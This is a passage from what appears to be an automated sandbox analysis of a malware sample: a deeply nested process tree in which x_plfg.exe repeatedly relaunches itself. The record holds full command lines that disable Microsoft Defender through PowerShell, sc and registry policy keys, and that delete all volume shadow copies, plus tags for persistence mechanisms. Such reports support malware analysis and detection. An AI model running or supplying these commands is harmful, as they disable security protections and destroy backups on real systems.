        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        52⤵
        
        PID:7744
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        53⤵
        
        PID:7896
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        54⤵
        
        PID:8088
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        55⤵
        
        PID:7684
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        56⤵
        
        PID:7920
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        57⤵
        Checks computer location settings
        
        PID:8236
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        58⤵
        
        PID:8372
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        59⤵
        Checks computer location settings
        
        PID:8476
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        60⤵
        
        PID:8640
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        61⤵
        Checks computer location settings
        
        PID:8872
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        62⤵
        
        PID:8968
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        63⤵
        Checks computer location settings
        
        PID:9108
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        64⤵
        
        PID:9212
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        65⤵
        
        PID:9284
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        66⤵
        
        PID:9380
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        67⤵
        
        PID:9548
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        68⤵
        
        PID:9696
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        69⤵
        
        PID:9844
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        70⤵
        
        PID:9944
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        71⤵
        Checks computer location settings
        
        PID:10132
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        72⤵
        
        PID:10104
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        73⤵
        Checks computer location settings
        
        PID:10688
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        74⤵
        
        PID:11000
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        75⤵
        
        PID:12208
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        76⤵
        
        PID:12596
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        77⤵
        Modifies WinLogon for persistence
        Adds policy Run key to start application
        Boot or Logon Autostart Execution: Active Setup
        Boot or Logon Autostart Execution: Port Monitors
        Event Triggered Execution: Image File Execution Options Injection
        Checks computer location settings
        Registers new Windows logon scripts automatically executed at logon.
        Adds Run key to start application
        
        PID:14872
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        78⤵
        
        PID:9596
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        77⤵
        
        PID:18552
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        76⤵
        
        PID:18944
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        76⤵
        
        PID:5112
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        74⤵
        
        PID:18420
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet 2>nul
        74⤵
        
        PID:13136
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        68⤵
        
        PID:17356
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f 2>nul & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f 2>nul & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f 2>nul & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableOnAccessProtection /t REG_DWORD /d 1 /f 2>nul & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableScanOnRealtimeEnable /t REG_DWORD /d 1 /f 2>nul & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SpyNet" /v DisableBlockAtFirstSeen /t REG_DWORD /d 1 /f 2>nul & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SpyNet" /v SpynetReporting /t REG_DWORD /d 0 /f 2>nul & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SpyNet" /v SubmitSamplesConsent /t REG_DWORD /d 2 /f 2>nul
        68⤵
        
        PID:15064
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        66⤵
        
        PID:18028
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        66⤵
        
        PID:19800
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet 2>nul
        66⤵
        
        PID:15312
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        63⤵
        
        PID:16248
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2"
        63⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:20284
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2"
        61⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:8956
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        60⤵
        
        PID:15060
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        60⤵
        
        PID:8168
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet 2>nul
        60⤵
        
        PID:1048
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        61⤵
        
        PID:7080
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        58⤵
        
        PID:16884
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        59⤵
        
        PID:15868
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        59⤵
        Checks computer location settings
        
        PID:17548
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        60⤵
        
        PID:19696
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        60⤵
        
        PID:6408
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        56⤵
        
        PID:16608
        
        C:\Windows\system32\sc.exe
        
        sc config WinDefend start=disabled
        57⤵
        Launches sc.exe
        
        PID:18416
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        56⤵
        
        PID:19664
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet 2>nul
        56⤵
        
        PID:6660
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        54⤵
        
        PID:14400
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        55⤵
        
        PID:17952
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        55⤵
        
        PID:8856
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        56⤵
        
        PID:15868
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        53⤵
        
        PID:19408
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        52⤵
        
        PID:16064
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        53⤵
        
        PID:18428
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        53⤵
        
        PID:16740
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        50⤵
        
        PID:15756
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        48⤵
        
        PID:15292
        
        C:\Windows\system32\sc.exe
        
        sc config WinDefend start=disabled
        49⤵
        Launches sc.exe
        
        PID:17544
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        48⤵
        
        PID:19624
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet 2>nul
        48⤵
        
        PID:14740
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        46⤵
        
        PID:14792
        
        C:\Windows\system32\sc.exe
        
        sc config WinDefend start=disabled
        47⤵
        Launches sc.exe
        
        PID:16332
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet 2>nul
        46⤵
        
        PID:18276
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        44⤵
        
        PID:14644
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        45⤵
        
        PID:15784
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        45⤵
        
        PID:8940
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        46⤵
        
        PID:19412
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet 2>nul
        44⤵
        
        PID:14308
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f 2>nul & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f 2>nul & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f 2>nul & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableOnAccessProtection /t REG_DWORD /d 1 /f 2>nul & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableScanOnRealtimeEnable /t REG_DWORD /d 1 /f 2>nul & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SpyNet" /v DisableBlockAtFirstSeen /t REG_DWORD /d 1 /f 2>nul & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SpyNet" /v SpynetReporting /t REG_DWORD /d 0 /f 2>nul & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SpyNet" /v SubmitSamplesConsent /t REG_DWORD /d 2 /f 2>nul
        44⤵
        
        PID:5880
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        42⤵
        
        PID:14252
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        43⤵
        
        PID:15488
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        40⤵
        
        PID:13788
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        41⤵
        Checks computer location settings
        
        PID:14952
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        42⤵
        
        PID:18360
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        39⤵
        
        PID:20388
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        38⤵
        
        PID:13600
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        39⤵
        
        PID:16372
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        40⤵
        
        PID:16592
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        40⤵
        
        PID:8876
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        39⤵
        
        PID:16644
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        38⤵
        
        PID:18500
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        39⤵
        
        PID:4112
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        36⤵
        
        PID:13404
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        37⤵
        
        PID:14928
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        38⤵
        
        PID:16520
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2"
        39⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:16848
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        37⤵
        
        PID:3040
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        36⤵
        
        PID:19056
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet 2>nul
        36⤵
        
        PID:3288
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        34⤵
        
        PID:13240
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        35⤵
        
        PID:14888
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        36⤵
        
        PID:16456
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        34⤵
        
        PID:17152
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        35⤵
        
        PID:14080
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet 2>nul
        34⤵
        
        PID:2804
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        32⤵
        
        PID:12820
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        33⤵
        
        PID:14856
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        34⤵
        
        PID:16732
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        35⤵
        
        PID:15872
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        32⤵
        
        PID:18792
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet 2>nul
        32⤵
        
        PID:4256
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        30⤵
        
        PID:12644
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        31⤵
        
        PID:14664
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        32⤵
        
        PID:16236
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        33⤵
        
        PID:17504
        
        C:\Windows\system32\sc.exe
        
        sc config WinDefend start=disabled
        31⤵
        Launches sc.exe
        
        PID:7080
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        30⤵
        
        PID:19024
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        31⤵
        
        PID:14720
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet 2>nul
        30⤵
        
        PID:6620
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        28⤵
        
        PID:12412
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        29⤵
        
        PID:13524
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        30⤵
        
        PID:15860
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        31⤵
        
        PID:16124
        
        C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 16124 -s 448
        32⤵
        
        PID:15784
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        31⤵
        
        PID:19712
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        28⤵
        
        PID:13416
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet 2>nul
        28⤵
        
        PID:19856
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        26⤵
        
        PID:11028
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        27⤵
        Checks computer location settings
        
        PID:13068
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        28⤵
        
        PID:15696
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        26⤵
        
        PID:18936
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        27⤵
        
        PID:8228
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet 2>nul
        26⤵
        
        PID:20384
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        24⤵
        
        PID:12100
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        25⤵
        
        PID:14120
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        26⤵
        
        PID:15444
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        27⤵
        
        PID:18296
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        24⤵
        
        PID:4204
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        22⤵
        
        PID:11936
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        23⤵
        
        PID:14004
        
        C:\Windows\System32\cmd.exe
        
